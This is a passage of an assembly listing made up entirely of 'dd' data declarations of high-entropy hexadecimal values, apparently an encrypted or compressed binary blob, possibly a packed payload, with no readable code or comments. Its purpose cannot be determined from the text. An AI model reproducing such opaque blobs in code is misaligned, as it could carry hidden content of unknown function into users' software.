61FFC11Dh, 6E06FB1Ah, 0A25D6683h dd 42DB89D8h, 7280DC25h, 7F11C2D7h, 84692A71h, 2E8C4D33h dd 0EEEFD75Ah, 0E9530E91h, 24B7F6F2h, 0EF9A3B77h, 80573266h dd 0B80A8498h, 0AF53599Ch, 0CB68FA01h, 422D585Fh, 0F1565B06h dd 0B5D5E16h, 7F44A98Bh, 520E6B8Fh, 0C4502BC4h, 65CAEE98h dd 0CDCEBA96h, 6428BE5Bh, 1B3B5031h, 0A33516F0h, 0EAC7137Bh dd 0C5DE3362h, 0B7A2A7C2h, 5A00EF71h, 97E4C580h, 6A89AA41h dd 0C00FC7ECh, 0B24005EDh, 51E28084h, 841506CFh, 0EC1F04EAh dd 7748258Ah, 6412C4E1h, 0E08760C7h, 8067F562h, 0B0F89AFEh dd 14C5F8E0h, 0CF30485Bh, 5026F010h, 2D05C858h, 0E5C4119h dd 4DB8DFC4h, 2E15995Ah, 0DC86F235h, 0F75D5BBFh, 0DB9D7F00h dd 2E90572h, 3BCFAA18h, 0BD16BE5Ah, 4D69CDE3h, 0DDE4AED0h dd 385C0580h, 1BE323Dh, 0B0161D48h, 0DC8C215Bh, 0D657C281h dd 9985CF6Ah, 8B67F961h, 0D4F0A9C6h, 28051D73h, 906A1791h dd 0CEDC05EAh, 0A157EC46h, 75D24F29h, 6805646Fh, 71FB4F35h dd 0A85A3230h, 832D1A70h, 0F7651090h, 556815DBh, 7E2F9317h dd 8018E389h, 93BE822Bh, 3EFF6E6Bh, 10283AA4h, 40021DA3h dd 0B24F0525h, 169E183Bh, 292D6807h, 0FC739864h, 6088E509h dd 5216221Dh, 5416911Eh, 13BA72A0h, 0BB15312Ch, 0EA222D04h dd 9277ADAAh, 0E99B61BBh, 2E4C75EBh, 94B988F0h, 0CED425FFh dd 80745758h, 7AEEDFF7h, 530E5560h, 27155968h, 0A5F632B1h dd 0EEC5E964h, 5E3B44Eh, 0FAB637h, 84F7C426h, 0DE2C09E2h dd 0FE073E5Bh, 0C2CDF2Ch, 0E74A1313h, 5C8F24Eh, 645F50D9h dd 5BD0B4BBh, 5F95B4A4h, 0ED5D798Bh, 0EFD72523h, 20EBAA1Fh dd 0BD03C49Eh, 20F341C5h, 18C3DF29h, 0F2650297h, 1743595h dd 0D3559080h, 1DB1DB38h, 9C1DCF13h, 0E4D09860h, 4904B4E1h dd 2F92525Dh, 0D0D951F9h, 96E1B88h, 3D68F2E9h, 541C2CEAh dd 24BD6A5Fh, 7002CBDAh, 60715B6Fh, 27246718h, 0A1D71D0Fh dd 987E9DBh, 0A9313E93h, 8FBF977Ch, 0A6B84B97h, 38E601B2h dd 0F4685C12h, 0F3EAA485h, 0DF53DA04h, 44922636h, 0CF40355Fh dd 6A3D6852h, 62EB223h, 0BE9FFC2h, 6C41C15Bh, 0A0553DE4h dd 1637B0A1h, 0A958C688h, 5AF089E4h, 0CBF931C1h, 78C9FE2Ah dd 0BE98749Eh, 0A641F13Fh, 85A432D3h, 0B7517950h, 3FF04C99h dd 50D2A587h, 1B7AFDD4h, 0B0A8EB97h, 0CA272518h, 1DCA0616h dd 371E01A9h, 8259CD31h, 69A1EA24h, 75E277BAh, 0D30F6D64h dd 377E3C7Dh, 3476CFFEh, 9DBA1936h, 3C526B43h, 5712D5B2h dd 87F6BB53h, 78E0709Eh, 364CF910h, 128810B3h, 0AFC33D7Dh dd 8058D11Dh, 0F2DEFCBh, 0B826E93Ch, 8F48B8A9h, 0BD6FF2AFh dd 21B7EFD8h, 2802959Ah, 95DF9CA8h, 0ECB52146h, 68F84092h dd 4613D027h, 20033D0Ch, 0E1BD6F81h, 2A7F0D47h, 0A7E9E805h dd 0EBA0B5AAh, 18514B32h, 6BE5D782h, 98A35217h, 424900D2h dd 0E9792D20h, 0F0B09F2Eh, 6409F09Fh, 1DB62F0Fh, 3BB907A0h dd 0A2257466h, 93A0584Bh, 78A222F6h, 0C2E9C34Eh, 9762F389h dd 99CFC5Fh, 0B5F8EFC1h, 4532780Bh, 8A2B8021h, 12E8C70Eh dd 0FB9E5EE9h, 1B13C6A3h, 9E22EBADh, 68364156h, 0B28A406Fh dd 8732CF3Ah, 0A4FDE7Dh, 78F54990h, 0AA9226DFh, 7A603A1h dd 0C055C71h, 31DB0E23h, 8BD50EFh, 0F140C68h, 4A78BEE9h dd 0F37E8746h, 0A212A5E4h, 0B9B1A947h, 133F1D61h, 0A7C4F894h dd 757A06E2h, 0AFC11593h, 0E18C2F8Ah, 0FE790BB5h, 80DFF6CDh dd 0EA88E4FBh, 68660959h, 685D2DD7h, 95BE8A7Ah, 0A1BC784Eh dd 0A5AD256Ah, 3CFA5294h, 344DE951h, 0DACD4A96h, 0BC5B4293h dd 7F712A1h, 0A431D488h, 6137FAE5h, 0EF8084BDh, 646EE0D1h dd 4BE411BDh, 0CEFC2375h, 0E6C01D42h, 54F68B02h, 62256256h dd 0BB338722h, 0DD75221h, 4BBDC440h, 0F600B561h, 4E797AF8h dd 5221E91Ch, 6B947727h, 91480CFCh, 1FD382CAh, 0B93D616Ch dd 0BEC3C56Bh, 0A37FE99Dh, 3408D33Ch, 0AE3501D6h, 0E80A7366h dd 1DBB89B7h, 0E2232C02h, 5B26C15Ch, 0F3E9068Bh, 2C567AACh dd 6F167595h, 753FC20h, 7A221AB9h, 0AA38A57Eh, 10A22CB4h dd 4A2E6751h, 281CE50h, 0C1F5F35h, 0B7A5731h, 4B97D277h dd 659648E8h, 0EA50F212h, 0BA4AD9F2h, 0DC829524h, 33446A2h dd 6E1D6857h, 8FF13B0Ah, 0EA6F8FB5h, 17098FC5h, 59978506h dd 0CBD29DB3h, 30E112BDh, 0BD55A6h, 0B465B3Bh, 0EB6DC6BEh dd 0CDBC4C5Bh, 5D10012Dh, 0B69950A1h, 26E6F3ADh, 82DAB2A9h dd 0FFEC5105h, 55ECEBC0h, 0D49779A2h, 840820EBh, 48C52089h dd 4D80DAC4h, 945FE1CCh, 2818897Bh, 5012F3CEh, 29AA5854h dd 0BDED2E61h, 771D1880h, 2B5FE917h, 0CEBF440h, 5CA542E5h dd 0AE17E409h, 0E0A6C9F6h, 10C9A845h, 0E1BF3358h, 0D9815496h dd 3EB52BF6h, 6F922F23h, 13A35457h, 5417AF51h, 0AE5AE5CBh dd 0FF55B92Ah, 4832CF2Ah, 0C4AEB5F6h, 3AA4F10Fh, 6556718Bh dd 1998F10h, 0E23B34BAh, 0A42F4A43h, 9D0CF2A2h, 0C79CC1Ch dd 0AF70576h, 0C2D629EDh, 0DD2932ABh, 0C00F8F3Ah, 0C24936E5h dd 3D87C32h, 2DFF595Fh, 0C4A03CB6h, 0FE07B638h, 0C5E872C1h dd 1A34187Fh, 4F06735Bh, 872DEA29h, 0D4F6A480h, 0D701F5F9h dd 0DEC9D29Ch, 0E9255602h, 0AF01E3FAh, 0BF7E4FF6h, 5359C079h dd 52C6BE92h, 101BF7D1h, 0BD030BF6h, 273C6F59h, 0D4ACBD2h dd 22E036C0h, 0DA661F28h, 578ADF4Eh, 920DE84Fh, 0F82F087h dd 0B03B5D13h, 35491DD9h, 92C4DB5Ch, 0BE405257h, 5C244089h dd 9F023675h, 0F78AA3BFh, 9DE2E422h, 0E02909h, 0CD43DCDFh dd 0DE529D35h, 2D97CB05h dd 5AE1B6Fh, 0E07FCEF7h, 390AF351h, 0E510D775h, 69DC4600h dd 6A7FE934h, 88E8C987h, 581732A7h, 0A6C0A9C4h, 25D5AE4h dd 0FBB85013h, 0C363677Bh, 617EFBE7h, 680BEE14h, 0DE27170Ch dd 8A6CC2B0h, 2D0106D9h, 5A2F2158h, 0A305B370h, 2E91A807h dd 803F5F69h, 226C5DEEh, 61F78102h, 0EA1D530Fh, 1F4D55CBh dd 1D53C508h, 1B328B4Bh, 696CB022h, 0C895859h, 95F11610h dd 0C152EFFCh, 692D7C6Eh, 7BFFF95Eh, 29782F33h, 55F8BAD3h dd 51F5A1E2h, 34FFC9A0h, 855C4D81h, 3E96FE40h, 4927B57Ch dd 2D150357h, 5C30422h, 0C82C475Ah, 0DD4A1EAAh, 0E1D29AE8h dd 459B0071h, 474A046Ah, 0FBDE25EBh, 5F5DBBE4h, 0E322BB52h dd 4BC2AFD0h, 0ABD853h, 0F7C67BFh, 0DCE78163h, 0F22F4937h dd 40792C49h, 90924B20h, 463F3412h, 9EA4748h, 4543EEh dd 5436E21Bh, 18256385h, 65FA4B17h, 0E90B6E7Eh, 5690E1DDh dd 0C519A98h, 1F09CCBDh, 7E296295h, 0E9D3A763h, 0F862E9C1h dd 5FA66Ah, 3872DD05h, 51D00173h, 2D2A072Dh, 5E067456h dd 0E0C18EA8h, 0F6B78B7h, 69CB7527h, 0AA6104C4h, 0DEE834D9h dd 96A0BD81h, 305907B3h, 252DE0A0h, 0E974520Bh, 0D070E314h dd 4ED61699h, 81138019h, 5E1DA0C9h, 60AE44D5h, 3EB9B504h dd 7222D0FAh, 78614539h, 2110AA1Ch, 0C896DFE6h, 66F02013h dd 0FE9134BBh, 7FC6BC62h, 935F7C44h, 4C9DC344h, 0BD941012h dd 4BC49A10h, 465EC007h, 7DA898A4h, 0BC72AB5Ah, 0AF5C7555h dd 0B03F9350h, 42BB0B5h, 0A34B2CCBh, 0F7A9BA49h, 0E0F1A705h dd 0D281EB12h, 9D3A29BFh, 87BD7BE7h, 2DCBA14Ah, 6FA780EAh dd 4EE94068h, 0E8901647h, 720D0096h, 2D4F5745h, 141F0FCAh dd 98CDE92Ch, 0D20E3B24h, 6D1D678Fh, 9545DC2h, 7E480AF5h dd 4149BD9Eh, 0CD0A0039h, 0EC33A9Ah, 771AE932h, 29C9AA12h dd 5471D230h, 6BFAA32Ch, 1E5D404Bh, 0E90CC271h, 51D5F661h dd 0E902E016h, 53BA56EEh, 0F4032097h, 0FC72613Eh, 0C3454DB6h dd 0F1FC2C13h, 0D975D2A8h, 4FF216Dh, 0EA1E9C68h, 402EB831h dd 3BADABBFh, 0B8598B46h, 61AB5A6Fh, 5EA6193h, 0F06AEDB1h dd 5A4107DFh, 1A6CDF40h, 7CCB045h, 0CE6165EAh, 7DC2C13Fh dd 3467C9FAh, 2627E923h, 2019DA85h, 34C55837h, 0C7BAC518h dd 9C7C485h, 226165Ch, 0A92CD1BBh, 0BCDC4B2Bh, 69637D02h dd 61895D18h, 0BBC97957h, 0EA23FE5Fh, 87ACF157h, 0D1091282h dd 0BA80415Ah, 4D48F834h, 390DF497h, 916B5B81h, 7C9FE978h dd 7C88259Bh, 9238726Ch, 92BF8240h, 4880FD4Ch, 21706452h dd 0F2A8DA4Ah, 3A5E4D04h, 150BC54h, 74607BF9h, 50C8F581h dd 0A86F5A4Bh, 2C904A2Ah, 4EACFB2Eh, 4B08E863h, 0CE0500EEh dd 0E9169E67h, 8B51F737h, 964278E0h, 7E2CB845h, 4B052508h dd 79A6A8D3h, 0CE3AC22Dh, 0BF6297A8h, 9B70947Eh, 0F8058059h dd 67701D1Eh, 0BABC893h, 38D75C5Ah, 486F683Ah, 1ED6372Dh dd 2EDE99A6h, 61CC2101h, 0E7984163h, 80BA0010h, 750D0721h dd 0D242DAF7h, 9C756174h, 0EB891766h, 0CEBFC05Dh, 34130A38h dd 0CDFEDA31h, 53ED7F0Bh, 22E3EFD2h, 8A9D9D96h, 0EF5D6F98h dd 0BF7FD558h, 68E2257Ch, 56665D06h, 4D1791F0h, 6E641F60h dd 0AA3A4BBh, 41257A02h, 775406E9h, 8FF27498h, 976A7FEh dd 7DF6ED06h, 10C06DAh, 6A675F83h, 2F64DBE9h, 45C27AD4h dd 54D57E04h, 0B0E924FDh, 0E102525Fh, 0F0080Fh, 6D2CD0F6h dd 77EB8002h, 444F27E9h, 7C280BC9h, 98FD3B19h, 2FE94836h dd 599A25A8h, 0A38AF002h, 6A7F71FDh, 2CE95829h, 4A44D897h dd 0B454FD58h, 4A95BDC8h, 35DF4C2h, 51F68102h, 0DD7F5712h dd 0D04CC001h, 0A0E76B61h, 0F3148714h, 4B5BDFD0h, 0A87FEEA1h dd 0AF12A842h, 51C7A4BAh, 2FA7B13Bh, 5D1475C8h, 998AA791h dd 0F769F90Bh, 3AD4C182h, 8FDB800h, 0BD3C026Eh, 2A345565h dd 3F6505FFh, 197DE1AAh, 5AF86AD7h, 0AA20FF97h, 0B58864E9h dd 0AED50029h, 0B0C5C5AFh, 851D7D84h, 73241782h, 0A44AD52Fh dd 40C080Dh, 0A7B81D14h, 0A52CE1CEh, 0D880ECC1h, 22281A25h dd 77E235h, 563DE61h, 0F3410A62h, 5334039Dh, 0F58F021Fh dd 25F74C2Ah, 0FD455569h, 0BB1134C0h, 0D17FA404h, 2DAC8950h dd 5E2E9B3h, 44F52DEh, 0CCFA2290h, 159A4585h, 0DD295C25h dd 191DD918h, 48C399BFh, 0AA560BC6h, 0B7C6CF6Fh, 0D527911Ch dd 0E927693Eh, 2C97FAFDh, 0C93447BFh, 0A682A559h, 5F7D4F65h dd 8201ED4h, 0CD303A91h, 95505868h, 8269AC66h, 0B51DD73h dd 39B0B7C4h, 9A8B804h, 0BDB353D8h, 3323C607h, 0C20BCF3h dd 0DDDA4863h, 0ADF8A42Fh, 96A5CB5h, 0C95E5856h, 1184A78h dd 8ABE79E7h, 2B0E78E5h, 0E90BF3EDh, 0F7E8DD9Ch, 326913Eh dd 901600EDh, 28208CABh, 77535840h, 40B92D52h, 172425Eh dd 0A698B6B0h, 0C3EB0C80h, 292D7306h, 0AD27E9ECh, 2056946Ch dd 58766A7Eh, 0D0854B4Ah, 49DFE0EDh, 0F479326Ch, 0FD4B9789h dd 0F7A2369Ch, 1FD1F642h, 3B33562h, 8088B450h, 285CE1F4h dd 0BD431038h, 16F16424h, 6398FB02h, 0B9D85A68h, 4A738403h dd 1D2515E3h, 98C029DCh, 7E0AD56Ch, 0FCF2B4Bh, 3A7101CBh dd 2040438Fh, 0EC7605BDh, 0E9A05C0Bh, 2F45D404h, 5CBC5F4h dd 0CCAEBE42h, 68496B43h, 528701E7h, 0EE011298h, 0AA25B669h dd 23F7D809h, 0D95E5FBFh, 0D93913A4h, 0D8E45725h, 19590932h dd 0B4B604Bh, 2EFC0918h, 0DF16D889h, 60E3FB0h, 6005370Dh dd 5CDC3533h, 1B0E6F87h, 0F4DE0B16h, 5BA30540h, 0C48BB30h dd 3EB35E03h, 0D8480113h, 0A506BF01h, 0F8562D6Eh, 353A4FC5h dd 25899E8Bh, 0B5A2DF81h, 0E57B2927h, 0EB2604DDh, 0CC4F28F3h dd 0B840AE04h, 0FCCE7789h, 2C5EBD4Fh, 37693159h, 8419E916h dd 0C4E081AAh, 0E041806Eh, 214BF57h, 8153002Eh, 0AF3AE5CFh dd 0CD2AE929h, 501E9833h, 0BD668CB0h, 0B02FA25h, 1F803C74h dd 0BA1BC090h, 9010E69Dh, 0BF695BBBh, 49BF2267h, 0B3B222DCh dd 0BC5141EBh, 17A7D121h, 0E91757BEh, 0BD448037h, 14495E3Fh dd 0BE6285D1h, 521F5C10h, 50025E5Eh, 0DF76D73Eh, 0BBE80059h dd 5215EA94h, 5F21CBB4h, 9FB388C4h, 1D4D8D13h, 1704958h dd 12B969Ah, 0F666855h, 3BBE718Ch, 0CCBA63C4h, 2B2CE9A7h dd 83404027h, 0B03DEF2Eh, 416E5F27h, 0B6577CE7h, 7117068h dd 0F502D12h, 35CB80EFh, 16097A4Fh, 32237DE9h, 4AF446C8h dd 0A112EEEEh, 527905BBh, 4E89E278h, 3E4C8DC6h, 362C5B62h dd 20F3207Fh, 5CBF6CC0h, 0F9340A7Eh, 66020A1Ch, 1DFB16E8h dd 0F6589AE0h, 34760E42h, 0C0460350h, 43CCEACDh, 2ECB39E8h dd 0C8F5C245h, 0D89B1523h, 0F8F00EC1h, 8B4FDC95h, 457F5DEAh dd 0D07A2FC8h, 0BDE2F09Fh, 8CBFA9B0h, 58605D81h, 0FFD39773h dd 5641C2A7h, 8422E9A6h, 18D55E12h, 804B5A4Ch, 5C7F14BBh dd 1568521Ah, 2C43400Bh, 1969188h, 72340D2Eh, 3BFABFC1h dd 0BBBDDAD8h, 1C45EAF5h, 85176CB3h, 68F3E5D0h, 41B62D2Eh dd 0EB5145C1h, 8002E50Ch, 4A6BDC3Fh, 0A84D07Ah, 214F5815h dd 6605DFFDh, 0B0C397C1h, 0C709893Ch, 226879E9h, 0DE6B30AAh dd 87DA6BFBh, 951BB13Bh, 70E09159h, 0AFEE10FBh, 22460639h dd 1208E6C1h, 0FBB9B609h, 4D8F776Fh, 500BD288h, 43675D54h dd 1875E904h, 0F253568Ch, 4E079DB2h, 0BFF69E5Ah, 0EC5CF10Ah dd 0FEBAECADh, 65C66566h dd 67D5BBB8h, 688C80FFh, 669547A2h, 20AF029Ch, 71E9605Dh dd 0E0F4AFCAh, 66E8ED8Bh, 394AFEh, 7B742DF5h, 0E3B53783h dd 7342E951h, 3024DD7Ah, 16C06B07h, 86300BBFh, 0E781033Bh dd 0E75145Eh, 1098F7B3h, 8FB50A04h, 7F48A98Bh, 6EF82094h dd 96ABF4B7h, 8FAA5748h, 75B64F83h, 16572127h, 773DA25Eh dd 8A892454h, 3FFA6555h, 0F53823A5h, 74AAC662h, 0BC8923D6h dd 0FECACBh, 5ECEF2F9h, 7407621h, 853055E2h, 41E1CF57h dd 9F4EB07Eh, 5693E92Bh, 0F23811ADh, 31683305h, 6160EFFEh dd 5E7B37EEh, 3AFAA838h, 37785D7h, 46D9CC68h, 2934B940h dd 5A753031h, 0FEC406Eh, 56AC944Bh, 0A64DA71Ah, 28365E55h dd 77CD097Fh, 0B8807B72h, 165241A6h, 22ED495h, 0A3633E2Bh dd 8912F35Eh, 0B7406EBDh, 0D24E042Ah, 94D9E936h, 2F52F567h dd 0BC477EE5h, 5AD04Eh, 2465F15Fh, 55B8F22Ah, 0CD98FD95h dd 6AB567DEh, 1FC62C3h, 181D5188h, 0C25E77CEh, 621BB286h dd 0C4D14C30h, 0EF874E71h, 7F549162h, 9305DD1Ch, 454E4C73h dd 1033182h, 803227C7h, 66AFF50Ch, 31E90697h, 0D5B751BEh dd 1B288345h, 0F1D49A79h, 80380F83h, 7A6591D2h, 71AE5787h dd 2A0C6A68h, 411F9ADCh, 0A4922E82h, 2557741Eh, 0A14FFBF3h dd 12307BEFh, 95E09688h, 0F5D5B09h, 43D624E5h, 95FB6BD4h dd 6E8B804Bh, 4C181B6Ah, 0FDF8CB01h, 7A222F08h, 9D6D68E8h dd 0E0C9C62Fh, 9F525954h, 728B3359h, 0CBD3D11Dh, 9111CE5Fh dd 0F2E905CBh, 0EB1CB497h, 0C761360Bh, 0B244DD0Bh, 5D25E913h dd 89DF22EFh, 0C8FFB7Dh, 0F5694705h, 0C61CC706h, 9D245568h dd 9A89ED7h, 58E9E6D1h, 501637D4h, 0EA5E41E6h, 2E290539h dd 0C1899D2Dh, 0D8F56357h, 0E7DBEF80h, 58FE0CD8h, 7E37F0CFh dd 1EC77634h, 0FD263C7Ah, 9E40AED1h, 1615B57h, 0A2209905h dd 3C94E944h, 0C3800BD4h, 0BA6F0577h, 13435688h, 0FE63E006h dd 34E5A620h, 0EE7C4AC4h, 6080FC01h, 0C3F87075h, 9AEE9A84h dd 7CC9F6Dh, 84FC345Ch, 44B229Bh, 149666D9h, 9DC302B4h dd 9FD94A9h, 5EDD0022h, 90E90116h, 0B73CF8D4h, 0B480E759h dd 58E30854h, 0BBDB4BF6h, 18DEB597h, 97C8308Ah, 0E9279055h dd 9A1B49A6h, 5DCDB32h, 0C56AEF00h, 47C1DEC3h, 504A9DC9h dd 33846856h, 7C9A97h, 9A73D3A7h, 61BF056Ah, 0EFA7FE02h dd 0C4FA9484h, 10CAF8C5h, 0C8609194h, 502E5933h, 0FE42C6CBh dd 0BC8B65D7h, 5A56095Fh, 5C2D65Eh, 0E31CEB68h, 53501078h dd 0DBF2Eh, 0CF81446Eh, 0F3771954h, 0DC76CB5h, 0D332FF17h dd 25053F93h, 98891962h, 0D23ED321h, 1A7C5985h, 1F121069h dd 47A6943Ch, 0E020945Bh, 0FE0ABBC4h, 0A009BE06h, 0ABCB8100h dd 90587A3Ch, 6A601309h, 31C1A0EFh, 3EAC262Eh, 7D84400Dh dd 40542A60h, 9BE75387h, 0E24A5BB0h, 288A5EE6h, 8ACA67E8h dd 0BCD55D1h, 0E6205AD9h, 1F193499h, 35E0505h, 0AE00652Eh dd 2BDF257Ah, 138CB821h, 34AAFFE9h, 66F1EED9h, 0B2D2EC2Fh dd 0ADE2E55Ah, 40E6927Fh, 4018AEFh, 0B4E91EDAh, 990EBCFCh dd 1534A738h, 0C3B98FAh, 2E75977h, 0D89473F4h, 7D39ABADh dd 464EAD82h, 5F158EC0h, 623C7430h, 495312B9h, 0E67F1F09h dd 0E31F1306h, 1AD0717h, 4C78AE1Ch, 0A92F6EBFh, 617CA50h dd 0B1E5F08h, 83C0B58h, 21E5BEDEh, 7EDE5AC1h, 0AFF4652Eh dd 215116F2h, 0F515FD2Ah, 0AEC494A2h, 68178C6Ah, 0C5D1085Ah dd 0A2079A95h, 5CD45DF7h, 48A79069h, 38CEB7F9h, 6B4A93A1h dd 0F190F113h, 5E2809B5h, 58CCC3EBh, 0B951009Ch, 0FEA32B1h dd 41D9F70Fh, 153EC5h, 0FA300247h, 0EA3F805Bh, 7BF57593h dd 5203B0A6h, 0D2F6C288h, 8277D0A2h, 7A6750Fh, 57636251h dd 8C0380DAh, 29022ED4h, 302815D1h, 38785E68h, 0EB4E1FEAh dd 0F73EDE29h, 13BBD561h, 4BC5342h, 78A1729Bh, 0D6C9D7D4h dd 79CA285Ah, 0B92E4241h, 0EC872AA7h, 0F5DD5153h, 250D8BBFh dd 9F6951B8h, 0FBD912C3h, 8473EF8Ah, 63F0585Fh, 11506BB3h dd 0C6F569A9h, 5D952A5Ch, 0FFB95E79h, 7AAE3B49h, 98F20B4Bh dd 0E4DC127Fh, 0CDB14302h, 8F5AE13Dh, 5806AD4Ah, 457D4A68h dd 75D7B92Ch, 0E00BF640h, 2D487C2Fh, 0A0F25EB5h, 1928A120h dd 39062D68h, 0E6D32FC4h, 9EBE9056h, 0DF70D922h, 54D9D85Ch dd 411599BFh, 0C58100D6h, 442F883Ch, 0C13DEE8h, 0C61B8F77h dd 1F12B77Eh, 44FE5A61h, 0BF3E6069h, 7A09DDDh, 0A37BF5h dd 0CA810BE4h, 53223E30h, 0DA96815h, 3488939Ah, 6DF060CCh dd 123888E3h, 0D876648h, 76AA3D79h, 0DF00F06Ah, 0D0EA5B4Bh dd 51B466D6h, 0F3E9921Fh, 0B9E55B33h, 0BC7E57E3h, 0DC5CB218h dd 0AE02E5D8h, 9C9364D1h, 0E9053696h, 5E826BA3h, 6056B2AEh dd 2533657Dh, 2A251877h, 9193B66Eh, 2A473E01h, 5B9FA67Eh dd 47F71F7Dh, 91FA168h, 685D5157h, 0C2534457h, 0FBFD4EC4h dd 52069673h, 19E0EA11h, 8C164E96h, 6404D94h, 2CEF7068h dd 1182408Ch, 0C6801760h, 49092505h, 105CA7EFh, 66279EFAh dd 81EA07F2h, 0E1F26C4Ah, 22BD4119h, 0C005325Bh, 462334B9h dd 0AB094876h, 31E3192Fh, 0D024CCE3h, 8911982Fh, 0E43EE03h dd 0CAEA2676h, 174E6EAh, 18B36841h, 4D655C2h, 41D701E2h dd 0A3325302h, 95324E04h, 9788AE06h, 99270C04h, 3088894Ah dd 0E2F43F41h, 0E36312D7h, 0A9B60077h, 0E917252Eh, 7407994Fh dd 0B4AAC168h, 0B975888h, 0EE54DF01h, 56BB0B49h, 3CD0591Ch dd 895C2411h, 0AD36FD02h, 0B5D75A47h, 7D95FA52h, 42F541A5h dd 40478F8Eh, 803B4841h, 3181D16Fh, 4A6B0616h, 0AB001274h dd 0D29313F3h, 66F70D3Ch, 5F0AA20Dh, 67D56A09h, 68684CB9h dd 0E9AC5654h, 150C94Dh, 0E2592D5Dh, 0B12FCE69h, 0BD411C58h dd 0EE569900h, 7E5C123h, 50D548F7h, 64E91675h, 2831AECCh dd 903F6348h, 8137E147h, 0DA4FF7F0h, 6906A1C6h, 27001003h dd 6C1558A1h, 0A70B53B1h, 6C067ECDh, 5D188744h, 0EA350DB5h dd 5F7A7B8Ch, 660CAC37h, 952C0606h, 3990040h, 0BD2C921Dh dd 93FAAA9Dh, 4CDFD31h, 7F2CEAE1h, 53FA01C1h, 84DF2CBBh dd 1797B1F3h, 814B10C4h, 2F7B62Bh, 0E05E082Dh, 839F31E7h dd 0B6F581B8h, 4ED94E3Fh, 87800EE2h, 0E9D2F7D5h, 54A3DD2Fh dd 0FD6DC52Eh, 0B49493B4h, 2CF786FBh, 92045A4Bh, 0D281621Eh dd 0A86F7AD4h, 5A2F9469h, 74EC45C5h, 244A440Bh, 18A103A4h dd 97AF2F36h, 0DEAD4B59h, 97E9F028h, 1174175Ah, 13B2B101h dd 0CFF1438Dh, 16EB19F0h, 0A102E93Ah, 0ED8A7B54h, 18962F18h dd 801227B4h, 0A0AB11F4h, 302C53C8h, 1CB3AE2h, 0DAF67B86h dd 53FC2D4h, 0E935B652h, 0BE3094F2h, 4770F5C1h, 1CF44740h dd 0B95E02BEh, 6C8C4830h, 11B033F0h, 0A1CECB4Ah, 0B816A352h dd 0A38CFF75h, 93C2A68h, 0FEFD55F9h, 8004846Eh, 342B0D44h dd 0C90681E2h, 416A0428h, 757B0684h, 7A2142D2h, 0B60A5090h dd 0C7178A52h, 25D81602h, 9FDAFDADh, 3E5C560Ch, 122B0C7Fh dd 0A8166AD1h, 2DE410C4h, 71DE6804h, 0CBB0818Dh, 0C45B482Eh dd 76B749BAh, 497AD06Bh, 0BAC73B5h, 6B7DFA89h, 5A4CC166h dd 0D5208975h, 125E02A8h, 7746830h, 440CFC4Ch, 26CC91C5h dd 1F3E02B8h, 28C6E96Ch, 0F1D1BA55h, 0EA4617A6h, 0A42C8C12h dd 0D0BA03B0h, 9B5FE9E0h, 0EBBB2400h, 81198405h, 12F405CBh dd 0C24B4880h, 7654B31Eh dd 530FE904h, 0E6F2B9A4h, 0D5F9EB5Eh, 0AD687040h, 3893B356h dd 19D7962Dh, 93B410Ah, 8CF659F6h, 0DA37EC52h, 5A23E53h dd 44555384h, 93BE7CCh, 764267C3h, 516747DEh, 9435BFC2h dd 7861A1D0h, 648EC3A7h, 11F7368h, 0B010DFACh, 0FA48240h dd 5511DF4Fh, 1962E5A6h, 12EFC24Ah, 398201C1h, 3B618F65h dd 0C2C444F2h, 0F3BB5202h, 80E42A4Ah, 0E0955C95h, 519D1EA5h dd 2D3E0145h, 5B120040h, 81985C29h, 8E976EEBh, 0E63409FEh dd 15873809h, 943CFA4Bh, 0B6515C52h, 90029209h, 5DE96380h dd 11D396BAh, 0BFE6C4AEh, 0E85BDA8Bh, 0F1F7F041h, 0B474AE9h dd 4E758FB6h, 2F6815B8h, 0B44F5439h, 2E021E48h, 83451A22h dd 0DCD65DC5h, 0DDD1E587h, 0E1EB0132h, 0BB00B101h, 86024E3Fh dd 2EF3BE3Ch, 27E5F68Ah, 0DF8B89DFh, 4A684102h, 4D8FC520h dd 0CDD8FFF2h, 0F04B189Fh, 90651828h, 0FFC20625h, 68725161h dd 18185871h, 5AA264Fh, 0C5311343h, 54EEC07Ch, 7020A6Ch dd 0CFE065BFh, 59E901F9h, 453C9A95h, 0CB3CD3BEh, 13978804h dd 15C2AA47h, 1367071h, 4E6F6E24h, 0EDD4DDF2h, 548B2473h dd 4172D3BDh, 2EBDA4E9h, 0A504AAA3h, 0BA6C0E2Fh, 0B1B62863h dd 0ABA75CA7h, 0F2095D4Ch, 7D7338E9h, 5CDB7B98h, 981D7E3Eh dd 0C1D3743Fh, 6E0E1E30h, 5FB9CB2Fh, 56C75714h, 6152A62h dd 29F6D101h, 0F42BD2E8h, 0C0B5FB42h, 81094D17h, 0CFF93A31h dd 1BB3284h, 374F86BAh, 13B670E2h, 5A6CCC6Ah, 20C20605h dd 0D0D80B09h, 2DA22EF9h, 0AA07E90Bh, 3E5645D5h, 0E9A20E99h dd 603770C2h, 63B8224Fh, 52D92113h, 39E7BBB0h, 0C5480093h dd 0F7213C17h, 0D4B3D15Ah, 9F261A4Dh, 57508F56h, 71584BE3h dd 9401C297h, 40B63F83h, 0C4F209Bh, 0D8DD1622h, 196816EFh dd 5F90CA75h, 5DE9B288h, 0BA0292EAh, 0BEB44AA0h, 1E26BB80h dd 0CC125FCh, 105B28ABh, 1A8F946Fh, 140B0C08h, 89719576h dd 0EC4FD46Ch, 966A3BEh, 35E1E993h, 0E594C8DAh, 0E88FFC02h dd 0C014DE31h, 2D585E50h, 745C0D01h, 5F00170h, 65BA0744h dd 0B025B850h, 0BF672368h, 0DE9E64ECh, 55827DCBh, 29052205h dd 0D74C43CEh, 0EA797BC5h, 0FA2715A2h, 477D9A8Bh, 18E90555h dd 8F49EF20h, 615248DDh, 0E85EB735h, 0F285F25Bh, 71D75C74h dd 0BC233784h, 6DEDC04Bh, 0B51C6C6Eh, 0F46AF5D4h, 68065903h dd 0B4CFD30Fh, 0A2928DE8h, 4868C20Bh, 68E77422h, 0DE310B1Fh dd 0E9F0BDE0h, 7DC59725h, 0A1F685ECh, 0EBFF7467h, 3E5A68A1h dd 1759942Ah, 92E1A208h, 55F08E00h, 2353136h, 64274D0Bh dd 0A1C4DAE9h, 17BEC504h, 12AB5A75h, 0D8F101D5h, 12C04AF1h dd 0B8A0A188h, 37DC63DAh, 9DF2BD21h, 0D115730Bh, 158C7F06h dd 3D28CF12h, 8027C7BEh, 97E9641Ah, 29D99D89h, 0CE500AE0h dd 0B4C7F026h, 74E9C1BDh, 0EEDDEBD8h, 0C948378Ah, 80025C20h dd 0B753DBC5h, 9D7C5758h, 2878EF00h, 0BAB0E9FAh, 